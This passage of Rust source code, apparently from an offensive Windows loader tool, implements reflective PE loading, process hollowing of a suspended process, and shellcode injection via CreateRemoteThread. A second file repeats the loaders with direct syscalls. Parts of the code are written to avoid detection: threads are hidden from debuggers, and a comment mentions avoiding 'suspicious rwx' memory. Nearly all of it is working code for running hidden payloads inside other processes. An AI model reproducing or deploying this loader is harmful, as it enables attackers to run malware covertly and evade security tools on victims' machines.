//For each function, retrieve its name and its addr in memory
let offset = u64::from_ne_bytes(thunk_data.Address.try_into().unwrap());
let function_name = read_from_memory(
(base as usize + offset as usize + 2) as *const c_void,
GetCurrentProcess(),
false,
);
log::debug!("Function : {}", function_name);
let function_addr = i64::to_ne_bytes(
GetProcAddress(
load_dll,
function_name.as_bytes().as_ptr() as *const u8,
)
.unwrap() as i64,
);
//Write the function and its data in memory at its addr
WriteProcessMemory(
GetCurrentProcess(),
((base as usize + image_descriptor.FirstThunk as usize) + i * 8)
as *mut c_void,
function_addr.as_ptr() as *const c_void,
function_addr.len(),
std::ptr::null_mut(),
);
i += 1;
thunk_ptr += 8;
}
}
origin_first_thunk += std::mem::size_of::();
}
}
}
//Fix base relocations in case of hardcoded values
if nt_head.OptionalHeader.BaseRelocationTable.Size > 0 {
//Calculate the delta and retrieve the first relocation ptr
let delta = base as usize - nt_head.OptionalHeader.ImageBase as usize;
let mut first_reloc_ptr =
base as usize + nt_head.OptionalHeader.BaseRelocationTable.VirtualAddress as usize;
loop {
//Fill the relocation structure from the struct at the ptr (retrieve relocation RVA and block size)
let mut reloc = MY_IMAGE_BASE_RELOCATION::default();
fill_structure_from_memory(
&mut reloc,
first_reloc_ptr as *const c_void,
GetCurrentProcess(),
false,
);
if reloc.SizeofBlock == 0 {
log::debug!("No more relocation");
break;
} else {
log::debug!("Size of block : {:x?}", reloc.SizeofBlock);
log::debug!("Virtual addr : {:x?}", reloc.VirtualAddress);
//For each each entries, retrieve the offset from the page addr and the hardcoded values at the relocation RVA
let entries = (reloc.SizeofBlock - 8) / 2;
log::debug!("Entries : {:x?}", entries);
for i in 0..entries {
let mut offset_from_page: [u8; 2] = [0; 2];
ReadProcessMemory(
GetCurrentProcess(),
(first_reloc_ptr + 8 + (i * 2) as usize) as *const c_void,
offset_from_page.as_mut_ptr() as *mut c_void,
2,
std::ptr::null_mut(),
);
log::debug!("Offset : {:x?}", offset_from_page);
let temp = u16::from_ne_bytes(offset_from_page.try_into().unwrap());
//println!("{:x?}",temp&0x0fff);
if (temp >> 12) == 0xA {
//Calculate relocation RVA of each entries with the base addr + relocation RVA of the first block + offset
// 1&0=0 0&0=0
let block_reloc_rva = base as usize
+ reloc.VirtualAddress as usize
+ (temp & 0x0fff) as usize;
//Read the hardcoded values at the entry addr and translate to obtain the fixed addr
let mut harcoded_value: [u8; 8] = [0; 8];
ReadProcessMemory(
GetCurrentProcess(),
block_reloc_rva as *const c_void,
harcoded_value.as_mut_ptr() as *mut c_void,
8,
std::ptr::null_mut(),
);
log::debug!("Harcoded value at RVA : {:x?}", harcoded_value);
let fixe_addr =
isize::from_ne_bytes(harcoded_value.try_into().unwrap())
+ delta as isize;
log::debug!("{:x?}", fixe_addr);
//Write into memory
WriteProcessMemory(
GetCurrentProcess(),
block_reloc_rva as *mut c_void,
fixe_addr.to_ne_bytes().as_ptr() as *const c_void,
8,
std::ptr::null_mut(),
);
}
}
}
first_reloc_ptr += reloc.SizeofBlock as usize;
}
}
//Change the Read/Write memory access to Read/Write/Execute
let mut oldprotect = 0;
VirtualProtectEx(GetCurrentProcess(), base, img_s, 0x40, &mut oldprotect);
let thread = CreateThread(
std::ptr::null_mut(),
0,
Some(transmute(
(base as usize + nt_head.OptionalHeader.AddressOfEntryPoint as usize)
as *mut c_void,
)),
std::ptr::null_mut(),
0,
std::ptr::null_mut(),
);
WaitForSingleObject(thread, 10000);
VirtualFree(base, 0, 0x00008000);
}
Ok(())
}
fn get_destination_base_addr(prochandle: *mut c_void) -> usize {
unsafe {
let mut process_information: PROCESS_BASIC_INFORMATION = std::mem::zeroed();
let process_information_class = PROCESSINFOCLASS::default();
let mut return_l = 0;
NtQueryInformationProcess(
prochandle,
process_information_class,
&mut process_information as *mut _ as *mut c_void,
std::mem::size_of::() as u32,
&mut return_l,
);
let peb_image_offset = process_information.PebBaseAddress as u64 + 0x10;
let mut image_base_buffer = [0; std::mem::size_of::<&u8>()];
ReadProcessMemory(
prochandle,
peb_image_offset as *const c_void,
image_base_buffer.as_mut_ptr() as *mut c_void,
image_base_buffer.len(),
std::ptr::null_mut(),
);
log::debug!(
"Image Base Addr : {:x?}",
usize::from_ne_bytes(image_base_buffer)
);
return usize::from_ne_bytes(image_base_buffer);
}
}
pub fn remote_loader(buf: Vec, pe_to_execute: &str) -> Result<(), Box> {
//Retrieve the sizes of the headers and the PE image in memory
let header_s = get_size(&buf, "header");
let img_s = get_size(&buf, "image");
if header_s == 0 || img_s == 0 {
return Err("Error retrieving PE sizes".into());
}
unsafe {
let pe_to_execute = pe_to_execute.trim().to_owned() + "\0";
let mut lp_startup_info: STARTUPINFOA = std::mem::zeroed();
let mut lp_process_information: windows_sys::Win32::System::Threading::PROCESS_INFORMATION =
std::mem::zeroed();
CreateProcessA(
pe_to_execute.as_ptr() as *const u8,
std::ptr::null_mut(),
std::ptr::null_mut(),
std::ptr::null_mut(),
0,
0x00000004,
std::ptr::null_mut(),
std::ptr::null_mut(),
&mut lp_startup_info as *mut STARTUPINFOA,
&mut lp_process_information
as *mut windows_sys::Win32::System::Threading::PROCESS_INFORMATION,
);
if GetLastError() != 0 {
log::debug!("{}", GetLastError());
return Err(GetLastError().to_string().into());
}
let mut remote_base =
get_destination_base_addr(lp_process_information.hProcess) as *mut c_void;
let prochandle = lp_process_information.hProcess;
let threadhandle = lp_process_information.hThread;
//Set the memory access to Read/Write for the moment to avoid suspicious rwx
let base = VirtualAlloc(std::ptr::null_mut(), img_s, 0x1000, 0x04);
NtUnmapViewOfSection(
prochandle as *mut ntapi::winapi::ctypes::c_void,
remote_base as *mut ntapi::winapi::ctypes::c_void,
);
remote_base = VirtualAllocEx(prochandle, remote_base, img_s, 0x1000 + 0x2000, 0x04);
//Retrieve the DOS magic header and the elfa new (address of the begining of the PE after the DOS header)
WriteProcessMemory(
prochandle,
remote_base,
buf.as_ptr() as *const c_void,
header_s,
std::ptr::null_mut(),
);
//Parsing locally
std::ptr::copy(buf.as_ptr() as *const u8, base as *mut u8, header_s);
let mut dos_head = IMAGE_DOS_HEADER::default();
fill_structure_from_memory(&mut dos_head, base, GetCurrentProcess(), false);
log::debug!("DOS magic header : {:x?}", dos_head.e_magic);
log::debug!(
"Elfa new (address of the begining of the PE): {:x?}",
dos_head.e_lfanew
);
//Retrieve the NT headers starting at the elfa new address
let mut nt_head: IMAGE_nt_headS64 = IMAGE_nt_headS64::default();
fill_structure_from_memory(
&mut nt_head,
(base as isize + dos_head.e_lfanew as isize) as *const c_void,
GetCurrentProcess(),
false,
);
log::debug!("NT headers : {:#x?}", nt_head);
//Retrieve the sections (following the NT headers), their sizes, and map their contents from disk into memory
let mut sections: Vec =
vec![IMAGE_SECTION_HEADER::default(); nt_head.FileHeader.NumberOfSections as usize];
for i in 0..sections.len() {
fill_structure_from_memory(
&mut sections[i],
(base as usize
+ dos_head.e_lfanew as usize
+ std::mem::size_of_val(&nt_head) as usize
+ (i * std::mem::size_of::() as usize))
as *const c_void,
GetCurrentProcess(),
false,
);
log::debug!(
"Virtual addresses of sections {} is {:#x?}",
string_from_array(&mut sections[i].Name.to_vec()),
sections[i].VirtualAddress
);
//Retrieve the content of one section (a buffer starting at the RawAddr to RawAddr + RawSize)
//Write it into memory at the addr base+VA
let tmp: Vec = buf[sections[i].PointerToRawData as usize
..(sections[i].PointerToRawData as usize + sections[i].SizeOfRawData as usize)]
.to_vec();
WriteProcessMemory(
GetCurrentProcess(),
(base as usize + sections[i].VirtualAddress as usize) as *mut c_void,
tmp.as_ptr() as *const c_void,
sections[i].SizeOfRawData as usize,
std::ptr::null_mut(),
);
WriteProcessMemory(
prochandle,
(remote_base as usize + sections[i].VirtualAddress as usize) as *mut c_void,
tmp.as_ptr() as *const c_void,
sections[i].SizeOfRawData as usize,
std::ptr::null_mut(),
);
}
//Retrieve the imports and fix them
log::debug!("{:?}", nt_head.OptionalHeader);
if nt_head.OptionalHeader.ImportTable.Size > 0 {
//Data addr before loading in memory
let mut origin_first_thunk =
base as usize + nt_head.OptionalHeader.ImportTable.VirtualAddress as usize;
loop {
//Data structure of the imported DLL
let mut image_descriptor = IMAGE_IMPORT_DESCRIPTOR::default();
fill_structure_from_memory(
&mut image_descriptor,
origin_first_thunk as *const c_void,
GetCurrentProcess(),
false,
);
if image_descriptor.Name == 0 && image_descriptor.FirstThunk == 0 {
log::debug!("No more import");
break;
} else {
//Retrieve the DLL name and load it by retrieving the name at this address pointed by Name
let import_name = read_from_memory(
(base as usize + image_descriptor.Name as usize) as *const c_void,
GetCurrentProcess(),
false,
);
let load_dll = LoadLibraryA(import_name.as_bytes().as_ptr() as *const u8);
log::debug!("Import DLL name : {}", import_name);
//Get pointer of the first thunk of data containing the data of the first imported function
let mut thunk_ptr = base as usize
+ image_descriptor.Characteristics_or_OriginalFirstThunk as usize;
let mut i = 0;
//Parse each thunk one by one to retrieve all the imported functions
loop {
let mut thunk_data = MY_IMAGE_THUNK_DATA64::default();
fill_structure_from_memory(
&mut thunk_data,
(thunk_ptr as usize) as *const c_void,
GetCurrentProcess(),
false,
);
log::debug!("{:x?}", thunk_data);
if thunk_data.Address == [0; 8]
&& u64::from_ne_bytes(thunk_data.Address.try_into().unwrap())
< 0x8000000000000000
{
log::debug!("No more data");
break;
} else {
//For each function, retrieve its name and its addr in memory
let offset = u64::from_ne_bytes(thunk_data.Address.try_into().unwrap());
let function_name = read_from_memory(
(base as usize + offset as usize + 2) as *const c_void,
GetCurrentProcess(),
false,
);
log::debug!("Function : {}", function_name);
let function_addr = i64::to_ne_bytes(
GetProcAddress(
load_dll,
function_name.as_bytes().as_ptr() as *const u8,
)
.unwrap() as i64,
);
//Write the function and its data in memory at its addr
WriteProcessMemory(
GetCurrentProcess(),
((base as usize + image_descriptor.FirstThunk as usize) + i * 8)
as *mut c_void,
function_addr.as_ptr() as *const c_void,
function_addr.len(),
std::ptr::null_mut(),
);
WriteProcessMemory(
prochandle,
((remote_base as usize + image_descriptor.FirstThunk as usize)
+ i * 8) as *mut c_void,
function_addr.as_ptr() as *const c_void,
function_addr.len(),
std::ptr::null_mut(),
);
i += 1;
thunk_ptr += 8;
}
}
origin_first_thunk += std::mem::size_of::();
}
}
}
//Fix base relocations in case of hardcoded values
if nt_head.OptionalHeader.BaseRelocationTable.Size > 0 {
//Calculate the delta and retrieve the first relocation ptr
let delta = base as usize - nt_head.OptionalHeader.ImageBase as usize;
let mut first_reloc_ptr =
base as usize + nt_head.OptionalHeader.BaseRelocationTable.VirtualAddress as usize;
loop {
//Fill the relocation structure from the struct at the ptr (retrieve relocation RVA and block size)
let mut reloc = MY_IMAGE_BASE_RELOCATION::default();
fill_structure_from_memory(
&mut reloc,
first_reloc_ptr as *const c_void,
GetCurrentProcess(),
false,
);
if reloc.SizeofBlock == 0 {
log::debug!("No more relocation");
break;
} else {
log::debug!("Size of block : {:x?}", reloc.SizeofBlock);
log::debug!("Virtual addr : {:x?}", reloc.VirtualAddress);
//For each each entries, retrieve the offset from the page addr and the hardcoded values at the relocation RVA
let entries = (reloc.SizeofBlock - 8) / 2;
log::debug!("Entries : {:x?}", entries);
for i in 0..entries {
let mut offset_from_page: [u8; 2] = [0; 2];
ReadProcessMemory(
GetCurrentProcess(),
(first_reloc_ptr + 8 + (i * 2) as usize) as *const c_void,
offset_from_page.as_mut_ptr() as *mut c_void,
2,
std::ptr::null_mut(),
);
log::debug!("Offset : {:x?}", offset_from_page);
let temp = u16::from_ne_bytes(offset_from_page.try_into().unwrap());
//println!("{:x?}", temp & 0x0fff);
if (temp >> 12) == 0xA {
//Calculate relocation RVA of each entries with the base addr + relocation RVA of the first block + offset
// 1&0=0 0&0=0
let block_reloc_rva = base as usize
+ reloc.VirtualAddress as usize
+ (temp & 0x0fff) as usize;
//Read the hardcoded values at the entry addr and translate to obtain the fixed addr
let mut harcoded_value: [u8; 8] = [0; 8];
ReadProcessMemory(
GetCurrentProcess(),
block_reloc_rva as *const c_void,
harcoded_value.as_mut_ptr() as *mut c_void,
8,
std::ptr::null_mut(),
);
log::debug!("Harcoded value at RVA : {:x?}", harcoded_value);
let fixe_addr =
isize::from_ne_bytes(harcoded_value.try_into().unwrap())
+ delta as isize;
log::debug!("{:x?}", fixe_addr);
//Write into memory
WriteProcessMemory(
prochandle,
block_reloc_rva as *mut c_void,
fixe_addr.to_ne_bytes().as_ptr() as *const c_void,
8,
std::ptr::null_mut(),
);
}
}
}
first_reloc_ptr += reloc.SizeofBlock as usize;
}
}
//Change the Read/Write memory access to Write/Execute
let mut oldprotect = 0;
VirtualProtectEx(prochandle, remote_base, img_s, 0x80, &mut oldprotect);
let mut ctx = std::mem::zeroed::();
ctx.ContextFlags = CONTEXT_INTEGER;
GetThreadContext(threadhandle, &mut ctx);
ctx.Rcx = remote_base as u64 + nt_head.OptionalHeader.AddressOfEntryPoint as u64;
SetThreadContext(threadhandle, &mut ctx);
VirtualFree(base, 0, 0x00004000);
ResumeThread(threadhandle);
CloseHandle(prochandle);
}
Ok(())
}
pub fn shellcode_loader(shellcode: Vec, pe_to_execute: &str) -> Result<(), Box> {
let pe_to_execute = pe_to_execute.trim().to_owned() + "\0";
unsafe {
let mut lp_startup_info: STARTUPINFOA = std::mem::zeroed();
let mut lp_process_information: windows_sys::Win32::System::Threading::PROCESS_INFORMATION =
std::mem::zeroed();
CreateProcessA(
pe_to_execute.as_ptr() as *const u8,
std::ptr::null_mut(),
std::ptr::null_mut(),
std::ptr::null_mut(),
0,
0x08000000, //No window
std::ptr::null_mut(),
std::ptr::null_mut(),
&mut lp_startup_info,
&mut lp_process_information,
);
if GetLastError() == 0 {
let base = VirtualAllocEx(
lp_process_information.hProcess,
std::ptr::null_mut(),
shellcode.len(),
0x00001000,
0x04,
);
WriteProcessMemory(
lp_process_information.hProcess,
base,
shellcode.as_ptr() as *const c_void,
shellcode.len(),
0 as *mut usize,
);
let mut oldprotect = 0;
VirtualProtectEx(
lp_process_information.hProcess,
base,
shellcode.len(),
0x20,
&mut oldprotect,
);
CreateRemoteThread(
lp_process_information.hProcess,
std::ptr::null_mut(),
0,
Some(transmute(base)),
std::ptr::null_mut(),
0,
std::ptr::null_mut(),
);
CloseHandle(lp_process_information.hProcess);
} else {
log::debug!("{}", GetLastError());
return Err(GetLastError().to_string().into());
}
}
Ok(())
}
================================================
FILE: src/loader_syscalls.rs
================================================
#![cfg(target_family = "windows")]
use crate::utils::structures::{
IMAGE_nt_headS64, IMAGE_DOS_HEADER, IMAGE_IMPORT_DESCRIPTOR, IMAGE_SECTION_HEADER,
MY_IMAGE_BASE_RELOCATION, MY_IMAGE_THUNK_DATA64,
};
use crate::utils::tools_windows::*;
use std::error::Error;
use std::ffi::{c_ulong, c_void};
use std::iter::once;
use ntapi::ntpsapi::{
PsCreateInitialState, PPS_ATTRIBUTE_LIST, PROCESSINFOCLASS, PROCESS_BASIC_INFORMATION,
PS_ATTRIBUTE_IMAGE_NAME, PS_ATTRIBUTE_LIST, PS_CREATE_INFO,
THREAD_CREATE_FLAGS_CREATE_SUSPENDED, THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER,
};
use ntapi::ntrtl::{
RtlAllocateHeap, RtlCreateProcessParametersEx, RtlDestroyProcessParameters, RtlFreeHeap,
RtlInitUnicodeString, RtlProcessHeap, PRTL_USER_PROCESS_PARAMETERS,
RTL_USER_PROC_PARAMS_NORMALIZED,
};
use winapi::shared::ntdef::{
HANDLE, NTSTATUS, NT_SUCCESS, NULL, OBJECT_ATTRIBUTES, UNICODE_STRING,
};
use winapi::um::winnt::{
CONTEXT_INTEGER, HEAP_ZERO_MEMORY, LARGE_INTEGER, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ,
PAGE_READWRITE, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS,
};
use syscalls::syscall;
use windows_sys::Win32::Foundation::CloseHandle;
use windows_sys::Win32::System::LibraryLoader::{GetProcAddress, LoadLibraryA};
use windows_sys::Win32::System::Memory::{VirtualFree, PAGE_EXECUTE_READWRITE};
use windows_sys::Win32::System::Threading::GetCurrentProcess;
pub fn reflective_loader_syscalls(buf: Vec) -> Result<(), Box> {
//Retrieve the sizes of the headers and the PE image in memory
let header_s = get_size(&buf, "header");
let mut img_s = get_size(&buf, "image");
if header_s == 0 || img_s == 0 {
return Err("Error retrieving PE sizes".into());
}
unsafe {
let mut status: NTSTATUS;
let mut base = NULL;
status = syscall!(
"NtAllocateVirtualMemory",
GetCurrentProcess(),
&mut base,
0,
&mut img_s,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if !NT_SUCCESS(status) {
log::debug!("Error allocating memory: {:x}", status);
return Err(status.to_string().into());
}
//Retrieve the DOS magic header and the elfa new (address of the begining of the PE after the DOS header)
status = syscall!(
"NtWriteVirtualMemory",
GetCurrentProcess(),
base,
buf.as_ptr() as *mut c_void,
header_s,
NULL
);
if !NT_SUCCESS(status) {
log::debug!("Error writing PE headers into memory: {:x}", status);
return Err(status.to_string().into());
}
let mut dos_head = IMAGE_DOS_HEADER::default();
fill_structure_from_array(&mut dos_head, &buf, true);
log::debug!("DOS magic header : {:x?}", dos_head.e_magic);
log::debug!(
"Elfa new (address of the begining of the PE): {:x?}",
dos_head.e_lfanew
);
//Retrieve the NT headers starting at the elfa new address
let mut nt_head = IMAGE_nt_headS64::default();
fill_structure_from_memory(
&mut nt_head,
(base as isize + dos_head.e_lfanew as isize) as *const c_void,
GetCurrentProcess(),
true,
);
log::debug!("NT headers : {:#x?}", nt_head);
//Retrieve the sections (following the NT headers), their sizes, and map their contents from disk into memory
let mut sections: Vec =
vec![IMAGE_SECTION_HEADER::default(); nt_head.FileHeader.NumberOfSections as usize];
for i in 0..sections.len() {
fill_structure_from_memory(
&mut sections[i],
(base as usize
+ dos_head.e_lfanew as usize
+ std::mem::size_of_val(&nt_head) as usize
+ (i * std::mem::size_of::() as usize))
as *const c_void,
GetCurrentProcess(),
true,
);
log::debug!(
"Virtual addresses of sections {} is {:#x?}",
string_from_array(&mut sections[i].Name.to_vec()),
sections[i].VirtualAddress
);
//Retrieve the content of one section (a buffer starting at the RawAddr to RawAddr + RawSize)
//Write it into memory at the addr base+VA
let tmp: Vec = buf[sections[i].PointerToRawData as usize
..(sections[i].PointerToRawData as usize + sections[i].SizeOfRawData as usize)]
.to_vec();
status = syscall!(
"NtWriteVirtualMemory",
GetCurrentProcess(),
(base as usize + sections[i].VirtualAddress as usize) as *mut c_void,
tmp.as_ptr() as *mut c_void,
tmp.len(),
NULL
);
if !NT_SUCCESS(status) {
log::debug!("Error writing section content into memory: {:x}", status);
return Err(status.to_string().into());
}
}
//Retrieve the imports and fix them
log::debug!("{:?}", nt_head.OptionalHeader);
if nt_head.OptionalHeader.ImportTable.Size > 0 {
//Data addr before loading in memory
let mut origin_first_thunk =
base as usize + nt_head.OptionalHeader.ImportTable.VirtualAddress as usize;
loop {
//Data structure of the imported DLL
let mut image_descriptor = IMAGE_IMPORT_DESCRIPTOR::default();
fill_structure_from_memory(
&mut image_descriptor,
origin_first_thunk as *const c_void,
GetCurrentProcess(),
true,
);
if image_descriptor.Name == 0 && image_descriptor.FirstThunk == 0 {
log::debug!("No more import");
break;
} else {
//Retrieve the DLL name and load it by retrieving the name at this address pointed by Name
let import_name = read_from_memory(
(base as usize + image_descriptor.Name as usize) as *const c_void,
GetCurrentProcess(),
true,
);
let load_dll = LoadLibraryA(import_name.as_bytes().as_ptr() as *const u8);
log::debug!("Import DLL name : {}", import_name);
//Get pointer of the first thunk of data containing the data of the first imported function
let mut thunk_ptr = base as usize
+ image_descriptor.Characteristics_or_OriginalFirstThunk as usize;
let mut i = 0;
//Parse each thunk one by one to retrieve all the imported functions
loop {
let mut thunk_data = MY_IMAGE_THUNK_DATA64::default();
fill_structure_from_memory(
&mut thunk_data,
(thunk_ptr as usize) as *const c_void,
GetCurrentProcess(),
true,
);
log::debug!("{:?}", thunk_data);
if thunk_data.Address == [0; 8]
&& u64::from_ne_bytes(thunk_data.Address.try_into().unwrap())
< 0x8000000000000000
{
log::debug!("No more data");
break;
} else {
//For each function, retrieve its name and its addr in memory
let offset = u64::from_ne_bytes(thunk_data.Address.try_into().unwrap());
let function_name = read_from_memory(
(base as usize + offset as usize + 2) as *const c_void,
GetCurrentProcess(),
true,
);
log::debug!("Function : {}", function_name);
let function_addr = i64::to_ne_bytes(
GetProcAddress(
load_dll,
function_name.as_bytes().as_ptr() as *const u8,
)
.unwrap() as i64,
);
//Write the function and its data in memory at its addr
status = syscall!(
"NtWriteVirtualMemory",
GetCurrentProcess(),
((base as usize + image_descriptor.FirstThunk as usize) + i * 8)
as *mut c_void,
function_addr.as_ptr() as *mut c_void,
function_addr.len(),
NULL
);
if !NT_SUCCESS(status) {
log::debug!(
"Error writing functions' data into memory: {:x}",
status
);
return Err(status.to_string().into());
}
i += 1;
thunk_ptr += 8;
}
}
origin_first_thunk += std::mem::size_of::();
}
}
}
//Fix base relocations in case of hardcoded values
if nt_head.OptionalHeader.BaseRelocationTable.Size > 0 {
//Calculate the delta and retrieve the first relocation ptr
let delta = base as usize - nt_head.OptionalHeader.ImageBase as usize;
let mut first_reloc_ptr =
base as usize + nt_head.OptionalHeader.BaseRelocationTable.VirtualAddress as usize;
loop {
//Fill the relocation structure from the struct at the ptr (retrieve relocation RVA and block size)
let mut reloc = MY_IMAGE_BASE_RELOCATION::default();
fill_structure_from_memory(
&mut reloc,
first_reloc_ptr as *const c_void,
GetCurrentProcess(),
true,
);
if reloc.SizeofBlock == 0 {
log::debug!("No more relocation");
break;
} else {
log::debug!("Size of block : {:x?}", reloc.SizeofBlock);
log::debug!("Virtual addr : {:x?}", reloc.VirtualAddress);
//For each entries, retrieve the offset from the page addr and the hardcoded values at the relocation RVA
let entries = (reloc.SizeofBlock - 8) / 2;
log::debug!("Entries : {:x?}", entries);
for i in 0..entries {
let mut offset_from_page: [u8; 2] = [0; 2];
status = syscall!(
"NtReadVirtualMemory",
GetCurrentProcess(),
(first_reloc_ptr + 8 + (i * 2) as usize) as *mut c_void,
offset_from_page.as_mut_ptr() as *mut c_void,
offset_from_page.len(),
NULL
);
if !NT_SUCCESS(status) {
log::debug!("Error retrieving offset from the page addr: {:x}", status);
return Err(status.to_string().into());
}
log::debug!("Offset : {:x?}", offset_from_page);
let temp = u16::from_ne_bytes(offset_from_page.try_into().unwrap());
//println!("{:x?}",temp&0x0fff);
if (temp >> 12) == 0xA {
//Calculate relocation RVA of each entries with the base addr + relocation RVA of the first block + offset
// 1&0=0 0&0=0
let block_reloc_rva = base as usize
+ reloc.VirtualAddress as usize
+ (temp & 0x0fff) as usize;
//Read the hardcoded values at the entry addr and translate to obtain the fixed addr
let mut harcoded_value: [u8; 8] = [0; 8];
status = syscall!(
"NtReadVirtualMemory",
GetCurrentProcess(),
block_reloc_rva as *mut c_void,
harcoded_value.as_mut_ptr() as *mut c_void,
harcoded_value.len(),
NULL
);
if !NT_SUCCESS(status) {
log::debug!("Error reading hardcoded values: {:x}", status);
return Err(status.to_string().into());
}
log::debug!("Harcoded value at RVA : {:x?}", harcoded_value);
let fixe_addr =
isize::from_ne_bytes(harcoded_value.try_into().unwrap())
+ delta as isize;
log::debug!("{:x?}", fixe_addr);
//Write into memory
let fixed_addr_bytes = fixe_addr.to_ne_bytes();
status = syscall!(
"NtWriteVirtualMemory",
GetCurrentProcess(),
block_reloc_rva as *mut c_void,
fixed_addr_bytes.as_ptr() as *mut c_void,
8,
NULL
);
if !NT_SUCCESS(status) {
log::debug!(
"Error writing hardcoded values into memory: {:x}",
status
);
return Err(status.to_string().into());
}
}
}
}
first_reloc_ptr += reloc.SizeofBlock as usize;
}
}
//Change the Read/Write memory access to Read/Write/Execute
let mut old_perms = PAGE_READWRITE;
status = syscall!(
"NtProtectVirtualMemory",
GetCurrentProcess(),
&mut base,
&mut img_s,
PAGE_EXECUTE_READWRITE,
&mut old_perms
);
if !NT_SUCCESS(status) {
log::debug!("Error changing memory permissions: {:x}", status);
return Err(status.to_string().into());
}
let mut thread_handle: HANDLE = NULL;
status = syscall!(
"NtCreateThreadEx",
&mut thread_handle,
THREAD_ALL_ACCESS,
NULL,
GetCurrentProcess(),
(base as usize + nt_head.OptionalHeader.AddressOfEntryPoint as usize) as *mut c_void,
NULL,
THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER,
0 as usize,
0 as usize,
0 as usize,
NULL
);
if !NT_SUCCESS(status) {
log::debug!("Error creating thread: {:x}", status);
return Err(status.to_string().into());
}
status = syscall!(
"NtWaitForSingleObject",
thread_handle,
0,
NULL as *mut _ as *mut LARGE_INTEGER
);
if !NT_SUCCESS(status) {
log::debug!("Error waiting for execution: {:x}", status);
return Err(status.to_string().into());
}
VirtualFree(base, 0, 0x00008000);
}
Ok(())
}
fn get_destination_base_addr(prochandle: *mut c_void) -> usize {
unsafe {
let mut process_information: PROCESS_BASIC_INFORMATION = std::mem::zeroed();
let process_information_class = PROCESSINFOCLASS::default();
syscall!(
"NtQueryInformationProcess",
prochandle,
process_information_class,
&mut process_information as *mut _ as *mut c_void,
std::mem::size_of::() as u32,
NULL
);
let peb_image_offset = process_information.PebBaseAddress as u64 + 0x10;
let mut image_base_buffer = [0; std::mem::size_of::<&u8>()];
syscall!(
"NtReadVirtualMemory",
prochandle,
peb_image_offset as *const c_void,
image_base_buffer.as_mut_ptr() as *mut c_void,
image_base_buffer.len(),
NULL
);
log::debug!(
"Image Base Addr : {:x?}",
usize::from_ne_bytes(image_base_buffer)
);
return usize::from_ne_bytes(image_base_buffer);
}
}
pub fn remote_loader_syscalls(buf: Vec, pe_to_execute: &str) -> Result<(), Box> {
//Retrieve the sizes of the headers and the PE image in memory
let header_s = get_size(&buf, "header");
let mut img_s = get_size(&buf, "image");
if header_s == 0 || img_s == 0 {
return Err("Error retrieving PE sizes".into());
}
let mut status: NTSTATUS;
let mut prochandle: HANDLE = NULL;
let mut threadhandle: HANDLE = NULL;
unsafe {
let mut full_path = "\\??\\".to_owned() + pe_to_execute;
full_path = full_path.trim().to_owned() + "\0";
let mut nt_image_path: UNICODE_STRING = UNICODE_STRING::default();
// Image path in NT format
// https://stackoverflow.com/questions/76211265/pdhaddcounterw-no-rules-expected-this-token-in-macro-call
let source_string = full_path.encode_utf16().chain(once(0)).collect::>();
RtlInitUnicodeString(&mut nt_image_path, source_string.as_ptr() as *const u16);
// Process parameters building
let mut process_parameters: PRTL_USER_PROCESS_PARAMETERS = std::mem::zeroed();
status = RtlCreateProcessParametersEx(
&mut process_parameters,
&mut nt_image_path,
std::ptr::null_mut(),
std::ptr::null_mut(),
std::ptr::null_mut(),
std::ptr::null_mut(),
std::ptr::null_mut(),
std::ptr::null_mut(),
std::ptr::null_mut(),
std::ptr::null_mut(),
RTL_USER_PROC_PARAMS_NORMALIZED,
);
if !NT_SUCCESS(status) {
log::debug!("Error creating process parameters: {:x}", status);
return Err(status.to_string().into());
}
// PS_CREATE_INFO structure building
let mut create_info = PS_CREATE_INFO::default();
create_info.Size = std::mem::size_of::();
create_info.State = PsCreateInitialState;
// Process and thread attributs building
let attribute_list: PPS_ATTRIBUTE_LIST = RtlAllocateHeap(
RtlProcessHeap(),
HEAP_ZERO_MEMORY,
std::mem::size_of::(),
) as PPS_ATTRIBUTE_LIST;
attribute_list.as_mut().unwrap().TotalLength = std::mem::size_of::();
attribute_list.as_mut().unwrap().Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
attribute_list.as_mut().unwrap().Attributes[0].Size = nt_image_path.Length as usize;
attribute_list.as_mut().unwrap().Attributes[0].u.Value = nt_image_path.Buffer as usize;
// New process startup
status = syscall!(
"NtCreateUserProcess",
&mut prochandle,
&mut threadhandle,
PROCESS_ALL_ACCESS,
THREAD_ALL_ACCESS,
NULL as *mut OBJECT_ATTRIBUTES,
NULL as *mut OBJECT_ATTRIBUTES,
0 as c_ulong,
THREAD_CREATE_FLAGS_CREATE_SUSPENDED as c_ulong,
process_parameters as *mut c_void,
&mut create_info,
attribute_list
);
if !NT_SUCCESS(status) {
log::debug!("Error creating process: {:x}", status);
return Err(status.to_string().into());
}
RtlFreeHeap(RtlProcessHeap(), 0, attribute_list as *mut c_void);
RtlDestroyProcessParameters(process_parameters);
let mut remote_base = get_destination_base_addr(prochandle) as *mut c_void;
//Set the memory access to Read/Write for the moment to avoid suspicious rwx
let mut base = NULL;
status = syscall!(
"NtAllocateVirtualMemory",
GetCurrentProcess(),
&mut base,
0,
&mut img_s,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if !NT_SUCCESS(status) {
log::debug!(
"Error allocating memory for the current process: {:x}",
status
);
}
status = syscall!("NtUnmapViewOfSection", prochandle, remote_base);
if !NT_SUCCESS(status) {
log::debug!("Error calling NtUnmapViewOfSection: {:x}", status);
}
status = syscall!(
"NtAllocateVirtualMemory",
prochandle,
&mut remote_base,
0,
&mut img_s,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if !NT_SUCCESS(status) {
log::debug!(
"Error allocating memory for the remote process: {:x}",
status
);
}
//Retrieve the DOS magic header and the elfa new (address of the begining of the PE after the DOS header)
status = syscall!(
"NtWriteVirtualMemory",
prochandle,
remote_base,
buf.as_ptr() as *mut c_void,
header_s,
NULL
);
if !NT_SUCCESS(status) {
log::debug!("Error writing PE headers into memory: {:x}", status);
}
//Parsing locally
std::ptr::copy(buf.as_ptr() as *const u8, base as *mut u8, header_s);
let mut dos_head = IMAGE_DOS_HEADER::default();
fill_structure_from_memory(&mut dos_head, base, GetCurrentProcess(), false);
log::debug!("DOS magic header : {:x?}", dos_head.e_magic);
log::debug!(
"Elfa new (address of the begining of the PE): {:x?}",
